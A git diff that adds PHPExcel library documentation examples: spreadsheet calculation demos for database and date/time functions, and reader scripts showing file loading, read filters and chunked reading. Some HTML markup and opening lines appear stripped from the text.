        '; +echo 'DVAR() Result is ' . $worksheet->getCell("B13")->getCalculatedValue(); + + +?> + + \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/Database/DVARP.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/Database/DVARP.php new file mode 100644 index 00000000..e1cfc8e3 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/Database/DVARP.php @@ -0,0 +1,90 @@ + + + + + +PHPExcel Calculation Examples + + + + +

        DVARP

        +

        Calculates variance based on the entire population of selected database entries,

        +getActiveSheet(); + +// Add some data +$database = array( array( 'Tree', 'Height', 'Age', 'Yield', 'Profit' ), + array( 'Apple', 18, 20, 14, 105.00 ), + array( 'Pear', 12, 12, 10, 96.00 ), + array( 'Cherry', 13, 14, 9, 105.00 ), + array( 'Apple', 14, 15, 10, 75.00 ), + array( 'Pear', 9, 8, 8, 76.80 ), + array( 'Apple', 8, 9, 6, 45.00 ), + ); +$criteria = array( array( 'Tree', 'Height', 'Age', 'Yield', 'Profit', 'Height' ), + array( '="=Apple"', '>10', NULL, NULL, NULL, '<16' ), + array( '="=Pear"', NULL, NULL, NULL, NULL, NULL ) + ); + +$worksheet->fromArray( $criteria, NULL, 'A1' ); +$worksheet->fromArray( $database, NULL, 'A4' ); + +$worksheet->setCellValue('A12', 'The variance in the yield of Apple and Pear trees'); +$worksheet->setCellValue('B12', '=DVARP(A4:E10,"Yield",A1:A3)'); + +$worksheet->setCellValue('A13', 'The variance in height of Apple and Pear trees'); +$worksheet->setCellValue('B13', '=DVARP(A4:E10,2,A1:A3)'); + + +echo '
        '; + + +echo '

        Database

        '; + +$databaseData = $worksheet->rangeToArray('A4:E10',null,true,true,true); +var_dump($databaseData); + + +echo '
        '; + + +// Test the formulae +echo '

        Criteria

        '; + +$criteriaData = $worksheet->rangeToArray('A1:A3',null,true,true,true); +var_dump($criteriaData); + +echo $worksheet->getCell("A12")->getValue() .'
        '; +echo 'DVARP() Result is ' . $worksheet->getCell("B12")->getCalculatedValue() .'

        '; + +echo '

        Criteria

        '; + +$criteriaData = $worksheet->rangeToArray('A1:A3',null,true,true,true); +var_dump($criteriaData); + +echo $worksheet->getCell("A13")->getValue() .'
        '; +echo 'DVARP() Result is ' . $worksheet->getCell("B13")->getCalculatedValue(); + + +?> + + \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/DateTime/DATE.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/DateTime/DATE.php new file mode 100644 index 00000000..979d1f5e --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/DateTime/DATE.php @@ -0,0 +1,83 @@ + + + + + +PHPExcel Calculation Examples + + + + +

        DATE

        +

        Returns the serial number of a particular date.

        +getActiveSheet(); + +// Add some data +$testDates = array( array(2012,3,26), array(2012,2,29), array(2012,4,1), array(2012,12,25), + array(2012,10,31), array(2012,11,5), array(2012,1,1), array(2012,3,17), + array(2011,2,29), array(7,5,3), array(2012,13,1), array(2012,11,45), + array(2012,0,0), array(2012,1,0), array(2012,0,1), + array(2012,-2,2), array(2012,2,-2), array(2012,-2,-2), + ); +$testDateCount = count($testDates); + +$worksheet->fromArray($testDates,NULL,'A1',true); + +for ($row = 1; $row <= $testDateCount; ++$row) { + $worksheet->setCellValue('D'.$row, '=DATE(A'.$row.',B'.$row.',C'.$row.')'); + $worksheet->setCellValue('E'.$row, '=D'.$row); +} +$worksheet->getStyle('E1:E'.$testDateCount) + ->getNumberFormat() + ->setFormatCode('yyyy-mmm-dd'); + + +echo '
        '; + + +// Test the formulae +?> + + + + + + + + + + + + + '; + echo ''; + echo ''; + echo ''; + echo ''; + echo ''; + echo ''; + echo ''; + } + ?> +
        Date ValueFormulaExcel DateStampFormatted DateStamp
        YearMonthDay
        ' , $worksheet->getCell('A'.$row)->getFormattedValue() , '' , $worksheet->getCell('B'.$row)->getFormattedValue() , '' , $worksheet->getCell('C'.$row)->getFormattedValue() , '' , $worksheet->getCell('D'.$row)->getValue() , '' , $worksheet->getCell('D'.$row)->getFormattedValue() , '' , $worksheet->getCell('E'.$row)->getFormattedValue() , '
        \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/DateTime/DATEVALUE.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/DateTime/DATEVALUE.php new file mode 100644 index 00000000..4d5d8c26 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/DateTime/DATEVALUE.php @@ -0,0 +1,76 @@ + + + + + +PHPExcel Calculation Examples + + + + +

        DATEVALUE

        +

        Converts a date in the form of text to a serial number.

        +getActiveSheet(); + +// Add some data +$testDates = array( '26 March 2012', '29 Feb 2012', 'April 1, 2012', '25/12/2012', + '2012-Oct-31', '5th November', 'January 1st', 'April 2012', + '17-03', '03-2012', '29 Feb 2011', '03-05-07', + '03-MAY-07', '03-13-07', + ); +$testDateCount = count($testDates); + +for($row = 1; $row <= $testDateCount; ++$row) { + $worksheet->setCellValue('A'.$row, $testDates[$row-1]); + $worksheet->setCellValue('B'.$row, '=DATEVALUE(A'.$row.')'); + $worksheet->setCellValue('C'.$row, '=B'.$row); +} + +$worksheet->getStyle('C1:C'.$testDateCount) + ->getNumberFormat() + ->setFormatCode('yyyy-mmm-dd'); + + +echo '
        '; + + +// Test the formulae +?> +

        Warning: The PHPExcel DATEVALUE() function accepts a wider range of date formats than MS Excel's DATEFORMAT() function.

        + + + + + + + + '; + echo ''; + echo ''; + echo ''; + echo ''; + echo ''; + } + ?> +
        Date StringFormulaExcel DateStampFormatted DateStamp
        ' , $worksheet->getCell('A'.$row)->getFormattedValue() , '' , $worksheet->getCell('B'.$row)->getValue() , '' , $worksheet->getCell('B'.$row)->getFormattedValue() , '' , $worksheet->getCell('C'.$row)->getFormattedValue() , '
        \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/DateTime/TIME.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/DateTime/TIME.php new file mode 100644 index 00000000..f4522768 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/DateTime/TIME.php @@ -0,0 +1,81 @@ + + + + + +PHPExcel Calculation Examples + + + + +

        TIME

        +

        Returns the serial number of a particular time.

        +getActiveSheet(); + +// Add some data +$testDates = array( array(3,15), array(13,15), array(15,15,15), array(3,15,30), + array(15,15,15), array(5), array(9,15,0), array(9,15,-1), + array(13,-14,-15), array(0,0,-1) + ); +$testDateCount = count($testDates); + +$worksheet->fromArray($testDates,NULL,'A1',true); + +for ($row = 1; $row <= $testDateCount; ++$row) { + $worksheet->setCellValue('D'.$row, '=TIME(A'.$row.',B'.$row.',C'.$row.')'); + $worksheet->setCellValue('E'.$row, '=D'.$row); +} +$worksheet->getStyle('E1:E'.$testDateCount) + ->getNumberFormat() + ->setFormatCode('hh:mm:ss'); + + +echo '
        '; + + +// Test the formulae +?> + + + + + + + + + + + + + '; + echo ''; + echo ''; + echo ''; + echo ''; + echo ''; + echo ''; + echo ''; + } + ?> +
        Date ValueFormulaExcel TimeStampFormatted TimeStamp
        HourMinuteSecond
        ' , $worksheet->getCell('A'.$row)->getFormattedValue() , '' , $worksheet->getCell('B'.$row)->getFormattedValue() , '' , $worksheet->getCell('C'.$row)->getFormattedValue() , '' , $worksheet->getCell('D'.$row)->getValue() , '' , $worksheet->getCell('D'.$row)->getFormattedValue() , '' , $worksheet->getCell('E'.$row)->getFormattedValue() , '
        \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/DateTime/TIMEVALUE.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/DateTime/TIMEVALUE.php new file mode 100644 index 00000000..89e0ba49 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/DateTime/TIMEVALUE.php @@ -0,0 +1,72 @@ + + + + + +PHPExcel Calculation Examples + + + + +

        TIMEVALUE

        +

        Converts a time in the form of text to a serial number.

        +getActiveSheet(); + +// Add some data +$testDates = array( '3:15', '13:15', '15:15:15', '3:15 AM', '3:15 PM', '5PM', '9:15AM', '13:15AM' + ); +$testDateCount = count($testDates); + +for($row = 1; $row <= $testDateCount; ++$row) { + $worksheet->setCellValue('A'.$row, $testDates[$row-1]); + $worksheet->setCellValue('B'.$row, '=TIMEVALUE(A'.$row.')'); + $worksheet->setCellValue('C'.$row, '=B'.$row); +} + +$worksheet->getStyle('C1:C'.$testDateCount) + ->getNumberFormat() + ->setFormatCode('hh:mm:ss'); + + +echo '
        '; + + +// Test the formulae +?> + + + + + + + + '; + echo ''; + echo ''; + echo ''; + echo ''; + echo ''; + } + ?> +
        Time StringFormulaExcel TimeStampFormatted TimeStamp
        ' , $worksheet->getCell('A'.$row)->getFormattedValue() , '' , $worksheet->getCell('B'.$row)->getValue() , '' , $worksheet->getCell('B'.$row)->getFormattedValue() , '' , $worksheet->getCell('C'.$row)->getFormattedValue() , '
        \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/index.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/index.php new file mode 100644 index 00000000..f0905530 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/index.php @@ -0,0 +1,51 @@ + + + + + +PHPExcel Calculation Function Examples + + + + +PHPExcel Calculation Function Examples
        '; + +$exampleTypeList = glob('./*',GLOB_ONLYDIR); + +foreach($exampleTypeList as $exampleType) { + + echo '

        ' . pathinfo($exampleType,PATHINFO_BASENAME) . ' Function Examples

        '; + + $exampleList = glob('./'.$exampleType.'/*.php'); + + foreach($exampleList as $exampleFile) { + $fileData = file_get_contents($exampleFile); + + $h1Pattern = '#

        (.*?)

        #'; + $h2Pattern = '#

        (.*?)

        #'; + + if (preg_match($h1Pattern, $fileData, $out)) { + $h1Text = $out[1]; + $h2Text = (preg_match($h2Pattern, $fileData, $out)) ? $out[1] : ''; + + echo '',$h1Text,'
        '; + if ($h2Text > '') { + echo $h2Text,'
        '; + } + } + + } +} + +?> + + \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader01.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader01.php new file mode 100644 index 00000000..f881af01 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader01.php @@ -0,0 +1,42 @@ + + + + + +PHPExcel Reader Example #01 + + + + +

        PHPExcel Reader Example #01

        +

        Simple File Reader using PHPExcel_IOFactory::load()

        +'; +$objPHPExcel = PHPExcel_IOFactory::load($inputFileName); + + +echo '
        '; + +$sheetData = $objPHPExcel->getActiveSheet()->toArray(null,true,true,true); +var_dump($sheetData); + + +?> + + \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader02.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader02.php new file mode 100644 index 00000000..51b36e57 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader02.php @@ -0,0 +1,50 @@ + + + + + +PHPExcel Reader Example #02 + + + + +

        PHPExcel Reader Example #02

        +

        Simple File Reader using a Specified Reader

        +'; +$objReader = new PHPExcel_Reader_Excel5(); +// $objReader = new PHPExcel_Reader_Excel2007(); +// $objReader = new PHPExcel_Reader_Excel2003XML(); +// $objReader = new PHPExcel_Reader_OOCalc(); +// $objReader = new PHPExcel_Reader_SYLK(); +// $objReader = new PHPExcel_Reader_Gnumeric(); +// $objReader = new PHPExcel_Reader_CSV(); +$objPHPExcel = $objReader->load($inputFileName); + + +echo '
        '; + +$sheetData = $objPHPExcel->getActiveSheet()->toArray(null,true,true,true); +var_dump($sheetData); + + +?> + + \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader03.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader03.php new file mode 100644 index 00000000..1c571d3c --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader03.php @@ -0,0 +1,51 @@ + + + + + +PHPExcel Reader Example #03 + + + + +

        PHPExcel Reader Example #03

        +

        Simple File Reader using the PHPExcel_IOFactory to Return a Reader

        +'; +$objReader = PHPExcel_IOFactory::createReader($inputFileType); +$objPHPExcel = $objReader->load($inputFileName); + + +echo '
        '; + +$sheetData = $objPHPExcel->getActiveSheet()->toArray(null,true,true,true); +var_dump($sheetData); + + +?> + + \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader04.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader04.php new file mode 100644 index 00000000..a18c7118 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader04.php @@ -0,0 +1,47 @@ + + + + + +PHPExcel Reader Example #04 + + + + +

        PHPExcel Reader Example #04

        +

        Simple File Reader using the PHPExcel_IOFactory to Identify a Reader to Use

        +'; + +echo 'Loading file ',pathinfo($inputFileName,PATHINFO_BASENAME),' using IOFactory with the identified reader type
        '; +$objReader = PHPExcel_IOFactory::createReader($inputFileType); +$objPHPExcel = $objReader->load($inputFileName); + + +echo '
        '; + +$sheetData = $objPHPExcel->getActiveSheet()->toArray(null,true,true,true); +var_dump($sheetData); + + +?> + + \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader05.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader05.php new file mode 100644 index 00000000..9bee5b47 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader05.php @@ -0,0 +1,51 @@ + + + + + +PHPExcel Reader Example #05 + + + + +

        PHPExcel Reader Example #05

        +

        Simple File Reader using the "Read Data Only" Option

        +'; +$objReader = PHPExcel_IOFactory::createReader($inputFileType); +echo 'Turning Formatting off for Load
        '; +$objReader->setReadDataOnly(true); +$objPHPExcel = $objReader->load($inputFileName); + + +echo '
        '; + +$sheetData = $objPHPExcel->getActiveSheet()->toArray(null,true,true,true); +var_dump($sheetData); + + +?> + + \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader06.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader06.php new file mode 100644 index 00000000..6997a38b --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader06.php @@ -0,0 +1,54 @@ + + + + + +PHPExcel Reader Example #06 + + + + +

        PHPExcel Reader Example #06

        +

        Simple File Reader Loading All WorkSheets

        +'; +$objReader = PHPExcel_IOFactory::createReader($inputFileType); +echo 'Loading all WorkSheets
        '; +$objReader->setLoadAllSheets(); +$objPHPExcel = $objReader->load($inputFileName); + + +echo '
        '; + +echo $objPHPExcel->getSheetCount(),' worksheet',(($objPHPExcel->getSheetCount() == 1) ? '' : 's'),' loaded

        '; +$loadedSheetNames = $objPHPExcel->getSheetNames(); +foreach($loadedSheetNames as $sheetIndex => $loadedSheetName) { + echo $sheetIndex,' -> ',$loadedSheetName,'
        '; +} + + +?> + + \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader07.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader07.php new file mode 100644 index 00000000..0d86ea74 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader07.php @@ -0,0 +1,55 @@ + + + + + +PHPExcel Reader Example #07 + + + + +

        PHPExcel Reader Example #07

        +

        Simple File Reader Loading a Single Named WorkSheet

        +'; +$objReader = PHPExcel_IOFactory::createReader($inputFileType); +echo 'Loading Sheet "',$sheetname,'" only
        '; +$objReader->setLoadSheetsOnly($sheetname); +$objPHPExcel = $objReader->load($inputFileName); + + +echo '
        '; + +echo $objPHPExcel->getSheetCount(),' worksheet',(($objPHPExcel->getSheetCount() == 1) ? '' : 's'),' loaded

        '; +$loadedSheetNames = $objPHPExcel->getSheetNames(); +foreach($loadedSheetNames as $sheetIndex => $loadedSheetName) { + echo $sheetIndex,' -> ',$loadedSheetName,'
        '; +} + + +?> + + \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader08.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader08.php new file mode 100644 index 00000000..c6a44601 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader08.php @@ -0,0 +1,55 @@ + + + + + +PHPExcel Reader Example #08 + + + + +

        PHPExcel Reader Example #08

        +

        Simple File Reader Loading Several Named WorkSheets

        +'; +$objReader = PHPExcel_IOFactory::createReader($inputFileType); +echo 'Loading Sheet',((count($sheetnames) == 1) ? '' : 's'),' "',implode('" and "',$sheetnames),'" only
        '; +$objReader->setLoadSheetsOnly($sheetnames); +$objPHPExcel = $objReader->load($inputFileName); + + +echo '
        '; + +echo $objPHPExcel->getSheetCount(),' worksheet',(($objPHPExcel->getSheetCount() == 1) ? '' : 's'),' loaded

        '; +$loadedSheetNames = $objPHPExcel->getSheetNames(); +foreach($loadedSheetNames as $sheetIndex => $loadedSheetName) { + echo $sheetIndex,' -> ',$loadedSheetName,'
        '; +} + + +?> + + \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader09.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader09.php new file mode 100644 index 00000000..a6cd1442 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader09.php @@ -0,0 +1,71 @@ + + + + + +PHPExcel Reader Example #09 + + + + +

        PHPExcel Reader Example #09

        +

        Simple File Reader Using a Read Filter

        += 1 && $row <= 7) { + if (in_array($column,range('A','E'))) { + return true; + } + } + return false; + } +} + +$filterSubset = new MyReadFilter(); + + +echo 'Loading file ',pathinfo($inputFileName,PATHINFO_BASENAME),' using IOFactory with a defined reader type of ',$inputFileType,'
        '; +$objReader = PHPExcel_IOFactory::createReader($inputFileType); +echo 'Loading Sheet "',$sheetname,'" only
        '; +$objReader->setLoadSheetsOnly($sheetname); +echo 'Loading Sheet using filter
        '; +$objReader->setReadFilter($filterSubset); +$objPHPExcel = $objReader->load($inputFileName); + + +echo '
        '; + +$sheetData = $objPHPExcel->getActiveSheet()->toArray(null,true,true,true); +var_dump($sheetData); + + +?> + + \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader10.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader10.php new file mode 100644 index 00000000..d608c646 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader10.php @@ -0,0 +1,82 @@ + + + + + +PHPExcel Reader Example #10 + + + + +

        PHPExcel Reader Example #10

        +

        Simple File Reader Using a Configurable Read Filter

        +_startRow = $startRow; + $this->_endRow = $endRow; + $this->_columns = $columns; + } + + public function readCell($column, $row, $worksheetName = '') { + if ($row >= $this->_startRow && $row <= $this->_endRow) { + if (in_array($column,$this->_columns)) { + return true; + } + } + return false; + } +} + +$filterSubset = new MyReadFilter(9,15,range('G','K')); + + +echo 'Loading file ',pathinfo($inputFileName,PATHINFO_BASENAME),' using IOFactory with a defined reader type of ',$inputFileType,'
        '; +$objReader = PHPExcel_IOFactory::createReader($inputFileType); +echo 'Loading Sheet "',$sheetname,'" only
        '; +$objReader->setLoadSheetsOnly($sheetname); +echo 'Loading Sheet using configurable filter
        '; +$objReader->setReadFilter($filterSubset); +$objPHPExcel = $objReader->load($inputFileName); + + +echo '
        '; + +$sheetData = $objPHPExcel->getActiveSheet()->toArray(null,true,true,true); +var_dump($sheetData); + + +?> + + \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader11.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader11.php new file mode 100644 index 00000000..becdb63b --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader11.php @@ -0,0 +1,91 @@ + + + + + +PHPExcel Reader Example #11 + + + + +

        PHPExcel Reader Example #11

        +

        Reading a Workbook in "Chunks" Using a Configurable Read Filter (Version 1)

        +_startRow = $startRow; + $this->_endRow = $startRow + $chunkSize; + } + + public function readCell($column, $row, $worksheetName = '') { + // Only read the heading row, and the rows that were configured in the constructor + if (($row == 1) || ($row >= $this->_startRow && $row < $this->_endRow)) { + return true; + } + return false; + } +} + + +echo 'Loading file ',pathinfo($inputFileName,PATHINFO_BASENAME),' using IOFactory with a defined reader type of ',$inputFileType,'
        '; +/** Create a new Reader of the type defined in $inputFileType **/ +$objReader = PHPExcel_IOFactory::createReader($inputFileType); + + +echo '
        '; + + +/** Define how many rows we want for each "chunk" **/ +$chunkSize = 20; + +/** Loop to read our worksheet in "chunk size" blocks **/ +for ($startRow = 2; $startRow <= 240; $startRow += $chunkSize) { + echo 'Loading WorkSheet using configurable filter for headings row 1 and for rows ',$startRow,' to ',($startRow+$chunkSize-1),'
        '; + /** Create a new Instance of our Read Filter, passing in the limits on which rows we want to read **/ + $chunkFilter = new chunkReadFilter($startRow,$chunkSize); + /** Tell the Reader that we want to use the new Read Filter that we've just Instantiated **/ + $objReader->setReadFilter($chunkFilter); + /** Load only the rows that match our filter from $inputFileName to a PHPExcel Object **/ + $objPHPExcel = $objReader->load($inputFileName); + + // Do some processing here + + $sheetData = $objPHPExcel->getActiveSheet()->toArray(null,true,true,true); + var_dump($sheetData); + echo '

        '; +} + + +?> + + \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader12.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader12.php new file mode 100644 index 00000000..1df90cd3 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader12.php @@ -0,0 +1,94 @@ + + + + + +PHPExcel Reader Example #12 + + + + +

        PHPExcel Reader Example #12

        +

        Reading a Workbook in "Chunks" Using a Configurable Read Filter (Version 2)

        +_startRow = $startRow; + $this->_endRow = $startRow + $chunkSize; + } + + public function readCell($column, $row, $worksheetName = '') { + // Only read the heading row, and the rows that are configured in $this->_startRow and $this->_endRow + if (($row == 1) || ($row >= $this->_startRow && $row < $this->_endRow)) { + return true; + } + return false; + } +} + + +echo 'Loading file ',pathinfo($inputFileName,PATHINFO_BASENAME),' using IOFactory with a defined reader type of ',$inputFileType,'
        '; +/** Create a new Reader of the type defined in $inputFileType **/ +$objReader = PHPExcel_IOFactory::createReader($inputFileType); + + +echo '
        '; + + +/** Define how many rows we want to read for each "chunk" **/ +$chunkSize = 20; +/** Create a new Instance of our Read Filter **/ +$chunkFilter = new chunkReadFilter(); + +/** Tell the Reader that we want to use the Read Filter that we've Instantiated **/ +$objReader->setReadFilter($chunkFilter); + +/** Loop to read our worksheet in "chunk size" blocks **/ +for ($startRow = 2; $startRow <= 240; $startRow += $chunkSize) { + echo 'Loading WorkSheet using configurable filter for headings row 1 and for rows ',$startRow,' to ',($startRow+$chunkSize-1),'
        '; + /** Tell the Read Filter, the limits on which rows we want to read this iteration **/ + $chunkFilter->setRows($startRow,$chunkSize); + /** Load only the rows that match our filter from $inputFileName to a PHPExcel Object **/ + $objPHPExcel = $objReader->load($inputFileName); + + // Do some processing here + + $sheetData = $objPHPExcel->getActiveSheet()->toArray(null,true,true,true); + var_dump($sheetData); + echo '

        '; +} + + +?> + + \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader13.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader13.php new file mode 100644 index 00000000..255501f2 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader13.php @@ -0,0 +1,60 @@ + + + + + +PHPExcel Reader Example #13 + + + + +

        PHPExcel Reader Example #13

        +

        Simple File Reader for Multiple CSV Files

        +'; +$objPHPExcel = $objReader->load($inputFileName); +$objPHPExcel->getActiveSheet()->setTitle(pathinfo($inputFileName,PATHINFO_BASENAME)); +foreach($inputFileNames as $sheet => $inputFileName) { + echo 'Loading file ',pathinfo($inputFileName,PATHINFO_BASENAME),' into WorkSheet #',($sheet+2),' using IOFactory with a defined reader type of ',$inputFileType,'
        '; + $objReader->setSheetIndex($sheet+1); + $objReader->loadIntoExisting($inputFileName,$objPHPExcel); + $objPHPExcel->getActiveSheet()->setTitle(pathinfo($inputFileName,PATHINFO_BASENAME)); +} + + +echo '
        '; + +echo $objPHPExcel->getSheetCount(),' worksheet',(($objPHPExcel->getSheetCount() == 1) ? '' : 's'),' loaded

        '; +$loadedSheetNames = $objPHPExcel->getSheetNames(); +foreach($loadedSheetNames as $sheetIndex => $loadedSheetName) { + echo 'Worksheet #',$sheetIndex,' -> ',$loadedSheetName,'
        '; + $objPHPExcel->setActiveSheetIndexByName($loadedSheetName); + $sheetData = $objPHPExcel->getActiveSheet()->toArray(null,true,true,true); + var_dump($sheetData); + echo '

        '; +} + + +?> + + \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader14.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader14.php new file mode 100644 index 00000000..bef1916c --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader14.php @@ -0,0 +1,105 @@ + + + + + +PHPExcel Reader Example #15 + + + + +

        PHPExcel Reader Example #14

        +

        Reading a Large CSV file in "Chunks" to split across multiple Worksheets

        +_startRow = $startRow; + $this->_endRow = $startRow + $chunkSize; + } + + public function readCell($column, $row, $worksheetName = '') { + // Only read the heading row, and the rows that are configured in $this->_startRow and $this->_endRow + if (($row == 1) || ($row >= $this->_startRow && $row < $this->_endRow)) { + return true; + } + return false; + } +} + + +echo 'Loading file ',pathinfo($inputFileName,PATHINFO_BASENAME),' using IOFactory with a defined reader type of ',$inputFileType,'
        '; +/** Create a new Reader of the type defined in $inputFileType **/ +$objReader = PHPExcel_IOFactory::createReader($inputFileType); + + +echo '
        '; + + +/** Define how many rows we want to read for each "chunk" **/ +$chunkSize = 100; +/** Create a new Instance of our Read Filter **/ +$chunkFilter = new chunkReadFilter(); + +/** Tell the Reader that we want to use the Read Filter that we've Instantiated **/ +/** and that we want to store it in contiguous rows/columns **/ +$objReader->setReadFilter($chunkFilter) + ->setContiguous(true); + + +/** Instantiate a new PHPExcel object manually **/ +$objPHPExcel = new PHPExcel(); + +/** Set a sheet index **/ +$sheet = 0; +/** Loop to read our worksheet in "chunk size" blocks **/ +/** $startRow is set to 2 initially because we always read the headings in row #1 **/ +for ($startRow = 2; $startRow <= 240; $startRow += $chunkSize) { + echo 'Loading WorkSheet #',($sheet+1),' using configurable filter for headings row 1 and for rows ',$startRow,' to ',($startRow+$chunkSize-1),'
        '; + /** Tell the Read Filter, the limits on which rows we want to read this iteration **/ + $chunkFilter->setRows($startRow,$chunkSize); + + /** Increment the worksheet index pointer for the Reader **/ + $objReader->setSheetIndex($sheet); + /** Load only the rows that match our filter into a new worksheet in the PHPExcel Object **/ + $objReader->loadIntoExisting($inputFileName,$objPHPExcel); + /** Set the worksheet title (to reference the "sheet" of data that we've loaded) **/ + /** and increment the sheet index as well **/ + $objPHPExcel->getActiveSheet()->setTitle('Country Data #'.(++$sheet)); +} + + +echo '
        '; + +echo $objPHPExcel->getSheetCount(),' worksheet',(($objPHPExcel->getSheetCount() == 1) ? '' : 's'),' loaded

        '; +$loadedSheetNames = $objPHPExcel->getSheetNames(); +foreach($loadedSheetNames as $sheetIndex => $loadedSheetName) { + echo 'Worksheet #',$sheetIndex,' -> ',$loadedSheetName,'
        '; + $objPHPExcel->setActiveSheetIndexByName($loadedSheetName); + $sheetData = $objPHPExcel->getActiveSheet()->toArray(null,false,false,true); + var_dump($sheetData); + echo '
        '; +} + +?> + + \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader15.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader15.php new file mode 100644 index 00000000..bb68e905 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Reader/exampleReader15.php @@ -0,0 +1,71 @@ + + + + + +PHPExcel Reader Example #15 + + + + +

        PHPExcel Reader Example #15

        +

        Simple File Reader for Tab-Separated Value File using the Advanced Value Binder

        +'; +$objReader->setDelimiter("\t"); +$objPHPExcel = $objReader->load($inputFileName); +$objPHPExcel->getActiveSheet()->setTitle(pathinfo($inputFileName,PATHINFO_BASENAME)); + + +echo '
        '; + +echo $objPHPExcel->getSheetCount(),' worksheet',(($objPHPExcel->getSheetCount() == 1) ? '' : 's'),' loaded

        '; +$loadedSheetNames = $objPHPExcel->getSheetNames(); +foreach($loadedSheetNames as $sheetIndex => $loadedSheetName) { + echo 'Worksheet #',$sheetIndex,' -> ',$loadedSheetName,' (Formatted)
        '; + $objPHPExcel->setActiveSheetIndexByName($loadedSheetName); + $sheetData = $objPHPExcel->getActiveSheet()->toArray(null,true,true,true); + var_dump($sheetData); + echo '
        '; +} + +echo '
        '; + +foreach($loadedSheetNames as $sheetIndex => $loadedSheetName) { + echo 'Worksheet #',$sheetIndex,' -> ',$loadedSheetName,' (Unformatted)
        '; + $objPHPExcel->setActiveSheetIndexByName($loadedSheetName); + $sheetData = $objPHPExcel->getActiveSheet()->toArray(null,true,false,true); + var_dump($sheetData); + echo '
        '; +} + +echo '
        '; + +foreach($loadedSheetNames as $sheetIndex => $loadedSheetName) { + echo 'Worksheet #',$sheetIndex,' -> ',$loadedSheetName,' (Raw)
